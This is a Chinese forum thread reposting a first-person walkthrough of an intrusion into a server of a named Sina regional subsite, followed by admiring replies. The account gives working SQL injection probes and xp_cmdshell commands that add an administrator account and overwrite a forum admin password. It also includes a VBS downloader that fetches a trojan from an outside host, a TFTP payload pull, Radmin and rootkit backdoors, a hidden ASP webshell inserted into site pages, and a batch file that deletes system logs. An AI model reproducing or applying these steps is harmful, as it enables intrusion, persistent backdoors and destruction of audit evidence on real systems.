发新话题
打印

转自http://bbs.sicnu.net/frame.] 实战入侵新浪分站的一台服务器

转自http://bbs.sicnu.net/frame.] 实战入侵新浪分站的一台服务器

我都还没好好的看过啊!
  逃避不一定躲得过,面对不一定最难受  
  孤单不一定不快乐,得到不一定能长久

TOP

  前段时间听说sohu的一个分站被人黑了我还看了,是真的。所以我也对这种门户网站动动手,我上了www.sina.com.cn,
又跑到了它的广东分站。东西太多了,找个注入点也很难,大多是html,shtml的页面。于是我查看源文件,搜索asp.
总算找到了一个可以asp的页面,找到了一个注入点http://gzguide.gd.sina.com.cn/news/newdetail.asp?id=2807
提交单引号,
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
/news/newdetail.asp,行 5
提交 and 1=1 返回正常,提交and 1=2 出错。呵呵,典型的注入漏洞。
and 1=(select%20@@VERSION) 返回结果表明是sql2000的,windows2000的服务器
and 'SA'=(SELECT%20System_user),返回错误,看来不是sa帐号连接
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
返回正常,表明xp_cmdshell存在
手工注入太麻烦,用nbsi吧,想到nbsi老发生意外出错,用教主的HDSI吧,它还支持php注入呢!结果出来了,显示连接帐号为dbo,SA权限,这下好了。因为权限比较高,所以用HDSI能够直接执行系统命令,省得在浏览器里面用xp_cmdshell执行。
如图01执行ipcongfig -all命令,看了一下ip,确定sql数据库和网站是在同一台机子上。用net start命令看了一下,
有诺顿,serv-u,sql,终端服务也开了。先加个帐户。
net user zuoai /add, net localgroup administrator zuoai /add
再执行net start telnet. 先连它的终端试试,这个我只抱着40%的希望。可喜的是能连上去,可是当我输入
帐号和密码后出现如下提示框。
图1
guest$虽然是管理员权限,却没有远程登陆的权限。
再试试telnet,这个我只抱着20%的希望,果然,出现“正在连接到211.155.23.118...无法打开到主机的连接
在端口 23 : 连接失败”,这种错误很常见,可能是由于telnet服务没有成功开启或者_blank">防火墙屏
蔽了对23端口的访问,这里应该属于前面一种情况!那就试试ipc连接吧,
,发生错误53,这种错误一般是自己的lanmanworkstation服务未启动或者目标删除了ipc$,这里应该属于前面一种情况。
现在我关键是把木马传上去,怎么办呢?得到webshell,再上传图片,得到webshell。
用HDSI把所有的表都猜出来了,实在太多了,根本找不到管理员密码在哪个表里面。于是跨库查询,看到了一个bbs库,一个leadbbs2的库。
我立刻访问http://gzguide.gd.sina.com.cn/bbs,果然是个论坛,估计是他们自己开发的(后来才知道是leadbbs).
我接着猜解bbs这个库,希望把管理员密码帐号都跑出来。希望不是md5加密的,如果用md5加密了的话就只好用updata把密码改为自己的了.
再用HDSI猜后台地址,很快猜出来了,http://gzguide.gd.sina.com.cn/bbs/manage/default.asp
可是着个库里面还是没有重要东西。这个bbs应该对那个leadbbs2库,密码跑出来了,是md5加密的。
如图02
;update leadbbs2.dbo.leadbbs_User set pass='4621d373cade4e83' where username='admin';--,4621d373cade4e83是md5加密后的test.应试试帐号:admin,密码:test登陆却出现提示"此用户已经开启IP绑定访问,您无权使用此用户!".一阵狂晕,管理员登陆限制了ip!看来用这种办法得到webshell是不行了。
其实现在可以先找到web的绝对路径后在HDSI中用echo写个小马上去,可是用echo的时候有写字符要用"^"来转义,比如写个冰狐浪子服务端要这样写

echo ^<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT^>try{eval^(Request.form^(&#39;guest&#39;^)+&#39;&#39;^)}catch^(e^){}^</SCRIPT^> >c:\\test.asp

但是在nbsi这样的工具的命令行中来执行很容易出错,在浏览器用;exec master.dbo.xp_cmdshell &#39;command&#39;执行的时候转义更麻烦。
于是又想到一种办法,就是写个下载指定地址的木马的脚本如下:
echo iLocal = LCase^(WScript.Arguments^(1^)^) >c:\\vbs.vbs
echo iRemote = LCase^(WScript.Arguments^(0^)^) >>c:\\vbs.vbs
echo Set xPost = CreateObject^("Microsoft.XMLHTTP"^) >>c:\\vbs.vbs
echo xPost.Open "GET",iRemote,0 >>c:\\vbs.vbs
echo xPost.Send^(^) >>c:\\vbs.vbs
echo Set sGet = CreateObject^("ADODB.Stream"^) >>c:\\vbs.vbs
echo sGet.Mode = 3 >>c:\\vbs.vbs
echo sGet.Type = 1 >>c:\\vbs.vbs
echo sGet.Open^(^) >>c:\\vbs.vbs
echo sGet.Write^(xPost.responseBody^) >>c:\\vbs.vbs
echo sGet.SaveToFile iLocal,2 >>c:\\vbs.vbs
这样就写到c盘根目录的vbs.vbs文件中去了,接着用这句话执行:
c:\\vbs.vbs http://xxx.com/muma.exe c:\\hehe.exe
这个方法可是很有效的哦,不过nbsi直接在nbsi或者其它注入工具命令行执行的时候会发生异常,自己在本机测试的时候一切正常,可是在nbsi中执行的时候二句以后的每句话都会被写入两次,极为郁闷,估计是nbsi运行原理不一样吧,谁知道这个问题怎么解决希望不吝赐教哦!如果在浏览器里面用xp_cmdshell执行,不过还要考虑“%,&"等字符,这些字符在asp里面会用到,所以要使用编码。
正郁闷着,忽然想到还有最简单直接的tftp还没用呢,在HDSI的命令行里执行tftp -i myip get 3721.exe c:\\3721.exe,谢天谢地,我这边的tftp有反映了。
如图2  


其实很多时候,即使我们得到了webdhell,用serv_u本地溢出或者sql什么的提升权限加了系统帐号,运行了木马。由于别人的服务器搞了ip安全策略,端口映射,边界路由阻隔,_blank">防火墙拦截等等,还是会有无法控制服务器的时候。呵呵,我就曾经入侵了几个大型网站,配置很bt,一直搞到现在还没搞定它的服务器!
好了,终于传完了,在HDSI的命令行里面执行c:\\3721.exe,3721.exe是我自己配置好了的超级radmin服务端,注册为系统服务,端口为2046。再次感谢上帝,顺利的连上去了。马上屏幕监控看一下,好像锁定了,再用radmin直接控制,果然计算机处于锁定状态。
如图3  

要求按ctrl+alt+del键再登陆,可是如果我按ctrl+alt+del,只会在自己机子上运行任务管理器,不能直接控制了。现在就得留后门了,万一管理员什么时候登陆服务器,命令行下netstat -an如果发现2046端口连到我机子上也许会发现这个后门。所以赶紧装几个隐蔽点的后门,先hacker&#39;s door,再hacker defender,直接用radmin的文件管理传上去,再用radmin的远程telnet执行,最后把我的pcshare也搞上去,我比较喜欢pcshare,因为它使用的是80端口,容易突破_blank">防火墙。 用radmin在它的盘里搜索,找到了网站的根目录,在D:\\GZINFO下面。
如图4  

还有其它的一些网页目录,也不知道是什么网站里面的,突然看到了有一个"服务器监视器"的软件,呵呵,下了readme文件,一看,"......五、网页监控 监视列表中选中的的网页是否能够打开。如果打不开除在本机上提醒外还可以发送手机短信提醒,并重启IIS服务。注意:修改设置时先关闭监控。
六、文件监控 监视本机上的文件,在文件发生改变时通知管理员,如果设置了备份文件,软件会自动使用备份文件覆盖被监视文件."好厉害的东东哦!开机自动运行,而且自动锁定计算机。

接着把自己修改后的海洋顶端木马传上去。成功地得到了webshell。
如图5  

再把下面这个下马插到它地几个asp文件里面,只有访问这几个页面是在后面加上?me=Guest$时,
小马才会显现出来!比较可靠。
<% if request("me")="Guest" then %>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action=&#39;&#39; method=post>" %>
<% Response.write "保存<font color=red>路径(如D:\\web\\x.asp):</font>" %>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "
" %>
<% Response.write "本文件" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "
" %>
<% Response.write "内容:" %>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
<% Response.write "<input type=submit value=保存>" %>
<% Response.write "</form>" %>
<% end if %>
现在已经基本控制了服务器了,最后把所有地日志都删除了,一个批处理。
@del c:\\winnt\\system32\\logfiles\\*.*
@del c:\\winnt\\system32\\config\\*.evt
@del c:\\winnt\\system32\\dtclog\\*.*
@del c:\\winnt\\system32\\*.log
@del c:\\winnt\\system32\\*.txt
@del c:\\winnt\\*.txt
@del c:\\winnt\\*.log
@del c:\\del.bat。
现在就等着管理员登陆后findpass得到密码进3389了,再渗透它的内网。因为我还没找到一个好地嗅探软件,所以就没有装这个。
到这里本文要结束了,其实也没有什么高深的技术,高手见笑了。其实入侵的时候会碰到各种各样的问题,能否解决这这些问题。是高手和菜鸟的本质区别!希望喜欢交流技术的朋友和我联系,我的qq是:156544632。
  逃避不一定躲得过,面对不一定最难受  
  孤单不一定不快乐,得到不一定能长久

TOP

难道你补觉得这样很浪费时间吗
这样的注入我也会但是我不用这样的方法,浪费时间.

TOP

那是没的办法的办法。
  逃避不一定躲得过,面对不一定最难受  
  孤单不一定不快乐,得到不一定能长久

TOP

用工具啊,有编译好了的,当然你也可以自己编译

TOP

恩啊!
  高手啊!
     高手就是不一样的哦!
  逃避不一定躲得过,面对不一定最难受  
  孤单不一定不快乐,得到不一定能长久

TOP

黑客!红客!我就来白客!教教我怎么侵入他人的电脑吧!楼主我太佩服你了!

TOP

发新话题